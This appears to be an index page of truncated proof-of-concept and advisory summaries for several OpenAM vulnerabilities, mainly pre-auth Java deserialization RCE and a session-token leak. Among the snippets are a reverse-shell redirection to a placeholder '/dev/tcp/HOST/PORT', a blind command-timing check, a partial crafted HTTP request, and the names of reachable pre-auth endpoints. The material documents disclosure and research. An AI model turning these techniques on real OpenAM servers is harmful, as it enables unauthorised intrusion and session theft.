CVE-2021-29156

CVE-2021-29156 Proof-of-Concept c 2021 GuidePoint Security Charlton Trezevant [email protected] Background Today GuidePoint is pleased to release a functional Proof-of-Concept tool for CVE-2021-29156, an LDAP injection vulnerability in ForgeRock OpenAM v13.0.0. This vulnerability allows an...

CVE-2026-33439-Poc

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession parameter. Affected & /dev/tcp/HOST/PORT 0&1' Output is blind. The request blocks until the command exits, so timing confirms execution --command 'sleep 5' takes about 5s. For...

OpenAM

Open Access Management OpenAM is an access management solution that includes Authentication, SSO, Authorization, Federation, Entitlements, and Web Services Security. Cross Domain Single Sign On CDSSO, SAML 2.0, OAuth 2.0 & OpenID Connect ensure that OpenAM integrates easily with legacy, custom, a...

OpenAM<=15.0.3 FreeMarker - Template Injection

OpenAM is an open access management solution. In versions 15.0.3 and prior, the getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input id: CVE-2024-41667 info: name: OpenAM=15.0.3 FreeMarker - Template Injection...

LDAP Injection In OpenAM

OpenAM contains an LDAP injection vulnerability. When a user tries to reset his password, they are asked to enter username, and then the backend validates whether the user exists or not through an LDAP query. If the user exists, the password reset token is sent to the user's email. Enumeration ca...

OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM = 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter CVSS 9.8. For authorized security testing only. Quick Start 1. Build payload downloads JARs from Maven Central ...

CVE-2026-33439

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization Human insight + AI-assisted analysis + reverse engineering + advisory → exploit First publicly shared exploit implementation for CVE-2026-33439 Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM...

CVE-2026-45049

Open Access Management OpenAM is an access management solution. Prior to 16.1.1, the "Cross-Domain Single Sign-On" "CDSSO" servlet allows a logged-in user's raw OpenAM session token to be POSTed to an attacker-controlled URL. An attacker who induces an authenticated victim to visit a crafted URL...

CVE-2026-45049

OpenAM Community Edition versions through 16.0.6 are vulnerable to an Information Exposure Through Sent Data (CWE-201) flaw in the Cross-Domain Single Sign-On (CDSSO) servlet. This vulnerability allows an attacker to receive a logged-in user's raw OpenAM session token if they can induce the victi...

CVE-2026-45049 OpenAM Session Hijacking via CDSSO

Open Access Management OpenAM is an access management solution. Prior to 16.1.1, the Cross-Domain Single Sign-On CDSSO servlet allows a logged-in user's raw OpenAM session token to be POSTed to an attacker-controlled URL. An attacker who induces an authenticated victim to visit a crafted URL can...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat command execution with echo. Project based on ysoserial and Java-Rce-Echo Building the project requires adding ysoserial.jar and jato-14.6.3.jar to dependencies. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent:...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Echo Mode Command output directly in the HTTP response — no DNS exfiltration or OOB needed. Uses com.iplanet.jato.RequestManager.getRequestContext to access the active JATO ThreadLocal request/response during deserialization. Works on Java 21+ where classic...

CVE-2026-33439-OpenAM

CVE-2026-33439 is a pre-auth unsafe deserialization issue in OpenAM 16.0.6 affecting JATO ViewBean endpoints. Public advisories mention JATO endpoints but do not enumerate reachable routes. This research identifies /openam/ui/PWResetUserValidation as a reachable pre-auth JATO endpoint...

CVE-2026-33439-Python-PoC

CVE-2026-33439 Python PoC Standalone Python proof of concept for the OpenAM pre-authentication remote code execution vulnerability in jato.clientSession deserialization. The embedded shaded Click/Xalan gadget reads a shell command from the cmd HTTP header and returns its output in the HTTP...

CVE-2026-45049: OpenIdentityPlatform OpenAM: Open Access Management (OpenAM) is an access management solution

Open Access Management OpenAM is an access management solution. Prior to 16.1.1, the Cross-Domain Single Sign-On CDSSO servlet allows a logged-in user's raw OpenAM session token to be POSTed to an attacker-controlled URL. An attacker who induces an authenticated victim to visit a crafted URL can...

CVE-2021-29156

CVE-2021-29156 done right This Proof of Concept is realized because the other PoC publicly available is broken ✨ Install go install github.com/5amu/CVE-2021-29156@latest References https://nvd.nist.gov/vuln/detail/CVE-2021-29156 https://portswigger.net/research/hidden-oauth-attack-vectors...

ForgeRock OpenAM <7.0 - Remote Code Execution

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/ request to the server. The vulnerabilit...

Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam

CVE-2026-33439 — clean-room OpenAM PoC This package rebuilds...

ForgeRock OpenAM Deserialization RCE (CVE-2021-35464)

Exploits CVE-2021-35464 in ForgeRock OpenAM 7.0: pre-auth Java deserialization via jato.pageSession on /openam/oauth2/..;/ccversion/ path traversal routes. !/usr/bin/env python3 -- coding: utf-8 -- """ForgeRock OpenAM Jato deserialization RCE CVE-2021-35464.""" import re from kittysploit import...